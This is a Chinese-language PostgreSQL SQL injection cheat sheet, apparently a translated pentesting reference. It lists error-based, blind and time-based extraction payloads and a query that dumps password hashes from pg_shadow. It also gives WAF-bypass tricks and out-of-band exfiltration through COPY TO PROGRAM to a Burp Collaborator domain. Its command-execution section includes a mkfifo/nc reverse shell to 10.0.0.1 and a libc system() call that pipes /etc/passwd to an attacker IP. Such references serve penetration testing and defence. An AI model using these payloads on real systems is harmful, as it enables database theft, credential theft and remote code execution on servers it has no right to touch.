PostgreSQL 注入 (PostgreSQL Injection)
PostgreSQL SQL 注入是指攻击者利用未经适当清洗的用户输入,在 PostgreSQL 数据库内执行未经授权的 SQL 命令的一种安全漏洞。
摘要 (Summary)
- PostgreSQL 注释 (#postgresql-comments)
- PostgreSQL 枚举 (#postgresql-enumeration)
- PostgreSQL 方法论 (#postgresql-methodology)
- 基于报错的 PostgreSQL 注入 (#postgresql-error-based)
- PostgreSQL 盲注 (#postgresql-blind)
- 基于时间的 PostgreSQL 注入 (#postgresql-time-based)
- PostgreSQL 带外注入 (Out of Band)
- PostgreSQL 堆叠查询 (#postgresql-stacked-query)
- PostgreSQL 文件操作 (#postgresql-file-manipulation)
- PostgreSQL 命令执行 (#postgresql-command-execution)
- PostgreSQL WAF 绕过 (#postgresql-waf-bypass)
- PostgreSQL 权限 (#postgresql-privileges)
- 参考资料 (#references)
PostgreSQL 注释 (PostgreSQL Comments)
| 注释类型 | 注释符号 |
|---|---|
| 单行注释 | -- |
| 多行注释 | /**/ |
PostgreSQL 枚举 (PostgreSQL Enumeration)
| 枚举描述 | SQL 查询 |
|---|---|
| DBMS 版本 | SELECT version() |
| 数据库名称 | SELECT CURRENT_DATABASE() |
| 数据库架构 (Schema) | SELECT CURRENT_SCHEMA() |
| 列出 PostgreSQL 用户 | SELECT usename FROM pg_user |
| 列出密码哈希 | SELECT usename, passwd FROM pg_shadow |
| 列出数据库管理员 | SELECT usename FROM pg_user WHERE usesuper IS TRUE |
| 当前用户 | SELECT user; |
| 当前用户 | SELECT current_user; |
| 当前会话用户 | SELECT session_user; |
| 当前用户用户名 | SELECT usename FROM pg_user; |
| 当前用户用户名 | SELECT getpgusername(); |
PostgreSQL 方法论 (PostgreSQL Methodology)
| 方法描述 | SQL 查询 |
|---|---|
| 列出架构名 (Schemas) | SELECT DISTINCT(schemaname) FROM pg_tables |
| 列出数据库名 | SELECT datname FROM pg_database |
| 列出表名 | SELECT table_name FROM information_schema.tables |
| 列出特定架构下的表名 | SELECT table_name FROM information_schema.tables WHERE table_schema='<架构名>' |
| 列出特定架构下的表名 | SELECT tablename FROM pg_tables WHERE schemaname = '<架构名>' |
| 列出特定表的列名 | SELECT column_name FROM information_schema.columns WHERE table_name='表名' |
基于报错的 PostgreSQL 注入 (PostgreSQL Error Based)
| 报错载荷名 | 攻击载荷 (Payload) |
|---|---|
| CAST 转换 | AND 1337=CAST('~'||(SELECT version())::text||'~' AS NUMERIC) -- - |
| CAST 转换 | AND (CAST('~'||(SELECT version())::text||'~' AS NUMERIC)) -- - |
| CAST 转换 | AND CAST((SELECT version()) AS INT)=1337 -- - |
| CAST 转换 | AND (SELECT version())::int=1 -- - |
CAST(chr(126)||VERSION()||chr(126) AS NUMERIC)
CAST(chr(126)||(SELECT table_name FROM information_schema.tables LIMIT 1 offset data_offset)||chr(126) AS NUMERIC)--
CAST(chr(126)||(SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset)||chr(126) AS NUMERIC)--
CAST(chr(126)||(SELECT data_column FROM data_table LIMIT 1 offset data_offset)||chr(126) AS NUMERIC)
' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1
' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1
PostgreSQL XML 辅助函数 (PostgreSQL XML Helpers)
上面的 query_to_xml 将指定查询的所有结果作为一个单一结果返回。将其与 基于报错的 PostgreSQL 注入 技术链接,可以在无需担心使用 LIMIT 限制查询为单个结果的情况下外带数据。
SELECT database_to_xml(true,true,''); -- 将当前数据库转储为 XML
SELECT database_to_xmlschema(true,true,''); -- 将当前数据库转储为 XML 架构
请注意,对于上述查询,输出需要在内存中组装。对于较大的数据库,这可能会导致运行缓慢或拒绝服务。
PostgreSQL 盲注 (PostgreSQL Blind)
PostgreSQL 盲注下的 Substring 等价函数 (PostgreSQL Blind With Substring Equivalent)
| 函数名 | 语法示例 |
|---|---|
SUBSTR |
SUBSTR('foobar', <起始位置>, <长度>) |
SUBSTRING |
SUBSTRING('foobar', <起始位置>, <长度>) |
SUBSTRING |
SUBSTRING('foobar' FROM <起始位置> FOR <长度>) |
示例:
' and substr(version(),1,10) = 'PostgreSQL' and '1 -- 结果为 TRUE
' and substr(version(),1,10) = 'PostgreXXX' and '1 -- 结果为 FALSE
基于时间的 PostgreSQL 注入 (PostgreSQL Time Based)
识别基于时间的注入
基于时间的数据库转储
select case when substring(datname,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from pg_database limit 1
基于时间的表转储
select case when substring(table_name,1,1)='a' then pg_sleep(5) else pg_sleep(0) end from information_schema.tables limit 1
基于时间的列转储
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name limit 1
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name where column_name='value' limit 1
AND 'RANDSTR'||PG_SLEEP(10)='RANDSTR'
AND [随机数]=(SELECT [随机数] FROM PG_SLEEP([睡眠时间]))
AND [随机数]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[睡眠时间]000000))
PostgreSQL 带外注入 (PostgreSQL Out of Band)
PostgreSQL 中的带外 SQL 注入依赖于使用可以与文件系统或网络交互的函数,例如 COPY、lo_export 或来自可以执行网络操作的扩展的函数。其核心思想是利用数据库将数据发送到别处,攻击者可以对其进行监控和拦截。
declare c text;
declare p text;
begin
SELECT into p (此处插入你的子查询);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-域名前缀''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();
PostgreSQL 堆叠查询 (PostgreSQL Stacked Query)
使用分号 ";" 添加另一个查询
PostgreSQL 文件操作 (PostgreSQL File Manipulation)
PostgreSQL 文件读取 (PostgreSQL File Read)
注意:早期版本的 Postgres 不接受 pg_read_file 或 pg_ls_dir 中的绝对路径。更新的版本(自 0fdc8495bff02684142a44ab3bc5b18a8ca1863a 提交起)将允许超级用户或 default_role_read_server_files 组中的用户读取任何文件/文件路径。
-
使用
pg_read_file,pg_ls_dir -
使用
COPY -
使用
lo_import
PostgreSQL 文件写入 (PostgreSQL File Write)
-
使用
COPY -
使用
COPY(单行写法) -
使用
lo_from_bytea,lo_put以及lo_export
PostgreSQL 命令执行 (PostgreSQL Command Execution)
使用 COPY TO/FROM PROGRAM
运行 Postgres 9.3 及以上版本的安装具有允许超级用户和具有 'pg_execute_server_program' 权限的用户使用 COPY 通过管道与外部程序进行输入输出的功能。
COPY (SELECT '') TO PROGRAM 'getent hosts $(whoami).[BURP_COLLABORATOR_域名前缀]';
COPY (SELECT '') to PROGRAM 'nslookup [BURP_COLLABORATOR_域名前缀]'
CREATE TABLE shell(output text);
COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f';
使用 libc.so.6
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <攻击者 IP> <攻击者 端口>');
PostgreSQL WAF 绕过 (PostgreSQL WAF Bypass)
引号的替代方案
| 攻击载荷 (Payload) | 技术技巧 |
|---|---|
SELECT CHR(65)||CHR(66)||CHR(67); |
使用 CHR() 生成字符串 |
SELECT $TAG$This |
美元符标记 (适用于 PostgreSQL 8 及以上版本) |
PostgreSQL 权限 (PostgreSQL Privileges)
PostgreSQL 列出权限 (PostgreSQL List Privileges)
检索当前用户的所有表级权限,排除 pg_catalog 和 information_schema 等系统架构中的表。
SELECT * FROM information_schema.role_table_grants WHERE grantee = current_user AND table_schema NOT IN ('pg_catalog', 'information_schema');
PostgreSQL 超级用户角色 (PostgreSQL Superuser Role)
SHOW is_superuser;
SELECT current_setting('is_superuser');
SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;
参考资料 (References)
- 渗透测试人员 PostgreSQL 指南 - David Hayter - 2017年7月22日
- 高级 PostgreSQL SQL 注入与过滤器绕过技术 - Leon Juranic - 2009年6月17日
- PostgreSQL 9.3 及以上版本中的已认证任意命令执行 - GreenWolf - 2019年3月20日
- Postgres SQL 注入速查表 - @pentestmonkey - 2011年8月23日
- PostgreSQL 9.x 远程命令执行 - dionach - 2017年10月26日
- SQL 注入 /webApp/oma_conf ctx 参数 - Sergey Bobrov (bobrov) - 2016年12月8日
- SQL 注入与 Postgres - 最终通往 RCE 的冒险 - Denis Andzakovic - 2020年5月5日